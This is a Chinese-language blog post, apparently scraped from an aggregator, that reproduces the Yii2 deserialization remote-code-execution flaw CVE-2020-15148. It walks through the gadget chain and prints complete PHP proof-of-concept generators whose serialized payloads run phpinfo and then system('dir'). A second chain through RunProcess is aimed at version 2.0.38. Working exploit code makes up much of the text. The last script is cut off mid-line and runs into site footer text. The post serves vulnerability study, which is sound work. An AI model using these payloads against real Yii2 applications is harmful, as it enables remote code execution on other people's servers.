yii2框架 反序列化漏洞复现

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了yii2框架 反序列化漏洞复现相关的知识,希望对你有一定的参考价值。

1. 前言

跟着feng师傅再学习一下yii2的反序列化漏洞,提高代码审计能力
feng师傅的连接
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:

Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.

至于环境的安装,直接从github上找yii2,下载下来2.0.37版本,然后修改config/web.php文件里cookieValidationKey的值,随便什么值都行。然后正常的部署一下就行了,就像thinkphp那样,根目录是/yii2/web。

1.1关于yii2 的一些访问的小知识:

根目录是

http://127.0.0.1/fuxian/yii2/web/index.php

或者

http://127.0.0.1/fuxian/yii2/web/

而后 用变量 r 来表示控制器和方法

http://127.0.0.1/fuxian/yii2/web/index.php?r=控制器/方法

注意格式:(多词汇组成的,每个单词首字母需大写)
控制器的格式 是 SampleController 。 后面的Controller是固定的。然后前面那一块是控制器的名字,输入的时候,小写就行。
里面的方法。格式是 actionTest 。 前面的action是固定的,后面的是名字,换成小写就好。

例子如下:
在这里插入图片描述
在这里插入图片描述

2. CVE-2020-15148复现

小前言:

感觉值得再过一遍,学到了好多好多知识。(可能是我真的太菜了。。。不会的太多了。所以觉得值得再过一遍…恶龙咆哮…)

这个反序列化的入口点是一个__destruct(),在BatchQueryResult类中

在这里插入图片描述
继续跟进一下reset():

在这里插入图片描述但是继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?(调用类中不存在的方法的时候就会调用 __call()方法了)

全局搜索一下__call,最后在\\vendor\\fzaninotto\\faker\\src\\Faker\\Generator.php找到了一个合适的__call方法:

在这里插入图片描述
因为上面的那个 close 是无参方法,所以传给 __call() 中的 $methodclose$attributes 为空。然后我们继续跟进format方法:

在这里插入图片描述传入的formatter是 close

好家伙,call_user_func_array 。 继续跟进一下 getFormatter.

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

里面的$this->formatter 是我们可控的。因此getFormatter 方法的返回值我们也是可以控制。因此call_user_func_array($this->getFormatter($formatter), $arguments );中,回调函数我们可控,但是$arguments 是一个空数组,所以相当于我们能够干两件事:

  1. 调用yii2中任意的一个无参方法,
  2. 或者调用原生php的类似phpinfo()这样的无参方法,

但是第二种肯定不能够RCE。因此,我们还要在yii2中已有的无参方法进行挖掘:

2.1 调用原生php的类似phpinfo()这样的无参方法 + 调试:

feng 师傅的重复调用两次call_user_func_array太强了,我反应不过来,就先调用个最简单来就行了。

其实不用这个多,不用带 函数方法的,就带上属性就行了。但是为了本地调试能够看出来对错,我便带上了整个调用链的调用函数链

<?php
namespace Faker
{
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = "phpinfo"; # 调用单一原生函数,
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);

                    return $this->formatters[$formatter];
                }
            }
            throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        }

    }
}

namespace yii\\db
{
    use Faker\\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }

        public function reset()
        {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }
            $this->_dataReader = null;
            $this->_batch = null;
            $this->_value = null;
            $this->_key = null;
        }
        
        public function __destruct()
        {
            // make sure cursor is closed
            $this->reset();
        }
    }
}
namespace
{
        use yii\\db\\BatchQueryResult;
        echo base64_encode(serialize(new BatchQueryResult()));
}

正向来的,是能够出phpinfo的。是对的。
在这里插入图片描述
反向也可。
在这里插入图片描述

上面的就可以直接打了。其实精简的话,可以去掉除了__construct()之外的所有方法,
payload如下:

<?php

namespace Faker
{
    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = "phpinfo";
        }
    }
}

namespace yii\\db
{
    use Faker\\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }
}

namespace
{
        use yii\\db\\BatchQueryResult;
        echo base64_encode(serialize(new BatchQueryResult()));
}

生成的payload是和上面的那个是一样的。
在这里插入图片描述

2.2 调用yii2中任意的一个无参方法

在yii2中找到一个无参方法:

function \\w+\\(\\)

在这里插入图片描述

但是无参函数实在是太多了,一个一个挖起来实在费力。这里就是大师傅们的经验和智慧了,直接搜索含有 call_user_function的无参函数:

function \\w+\\(\\) ?\\n?\\{(.*\\n)+call_user_function

上面feng师傅的整个regex有点小缺陷,所以没成功,改成这样

function \\w*\\(\\)\\n? *\\{(.*\\n)+ *call_user_func

这个效果好,注意点:大括号前面需要有空格,回车换行后面也需要有空格。就好啦~(找这个正则,找了我有一会儿,,)
在这里插入图片描述feng师傅说rest/CreateAction.php以及rest/IndexAction.php都可以,这里分析一下 IndexAction.php看看
主要是它的 run 方法:

在这里插入图片描述
,,这个直接啊,到时候第一个回调函数,回调这个run,然后两个参数为system ,dir。 就RCE了嘛,函数名和参数都可控

理一下就是这样的:

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset()
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter()
↓↓↓
class IndexAction  ->run()

太菜了太菜了,这里还是先正向的时候debug一下,看看为什么$this->formatters['close'] = [new IndexAction(),'run'];。这里要传入数组进来,是个什么原理

<?php
namespace Faker
{
    # 这个直接引入了IndexAction这个类了,然后后面就直接new就好。 如果只是到了 yii\\rest,那么我们还需要call 再重写一遍,
    use yii\\rest\\IndexAction;

    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            #这里着重看一看,不懂为什么是赋值一个数组进来。
            $this->formatters['close'] = [new IndexAction(),'run'];
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);

                    return $this->formatters[$formatter];
                }
            }
            throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        }

    }
}

namespace yii\\db
{
    use Faker\\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }

        public function reset()
        {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }
            $this->_dataReader = null;
            $this->_batch = null;
            $this->_value = null;
            $this->_key = null;
        }

        public function __destruct()
        {
            // make sure cursor is closed
            $this->reset();
        }
    }
}

namespace yii\\rest
{
    class IndexAction
    {
        public $checkAccess;
        public $id;

        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="dir";
        }

        public function run()
        {
            if ($this->checkAccess) {
                call_user_func($this->checkAccess, $this->id);
            }
            return 11111;
        }
    }


}


namespace
{
        use yii\\db\\BatchQueryResult;
        echo base64_encode(serialize(new BatchQueryResult()));
}

在里面debug,de得我是真舒服,(主要还是我的PHP太菜,,)
看明白call_user_func_array

call_user_func_array([对象,方法], ) 就是调用一个无参函数,该函数就是那个对象中的方法,这个也就是刚才用的 
call_user_func_array(方法, )。这个就是直接调用方法,也可, 2.1就是用的这个,

在这里插入图片描述

在这里插入图片描述
这里就不精简了把。一样的,去掉除了construct之外的函数和一些没用到的属性就好了。

在这里插入图片描述

其他反序列化链1的复现

根据yii2.0.38的更新:(艹了,,,我不知道去哪里看这些更新呐…哎呦,好烦,,)

在这里插入图片描述
增加了__wakeup(),在反序列化的时候直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。

类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方法就是
再找一个存在__destruct这样的利用点,然后该类中的一个属性调用了一个方法,并且该属性可控,这样我们就能够触发后面可利用类的__call方法了。
全局__destruct,经过排查,发现RunProcess类的__destruct可以利用

在这里插入图片描述
在跟进一下:

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }
}

这里$process->isRunning(),因为$this->process是我们可控的,因此process我们也可控,然后调用 isRunning 方法,我们就可以触发 __call 了。后面的反序列话是不变的
直接构造POC:(同样是本地可以debug的类型,)

<?php
namespace Faker
{
    # 这个直接引入了IndexAction这个类了,然后后面就直接new就好。 如果只是到了 yii\\rest,那么我们还需要call 再重写一遍,
    use yii\\rest\\IndexAction;

    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            #__call方法传进来是 名称 也就是 isRunning。
            $this->formatters['isRunning'] = [new IndexAction(),'run'];
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);

                    return $this->formatters[$formatter];
                }
            }
            throw new \\InvalidArgumentException(sprintf(以上是关于yii2框架 反序列化漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

yii2框架 反序列化漏洞复现

[php反序列化] CVE-2020-15148 漏洞复现

laravel5.7 反序列化漏洞复现

[代码审计]yii2 反序列化漏洞分析

typecho反序列化漏洞复现

shiro反序列化漏洞复现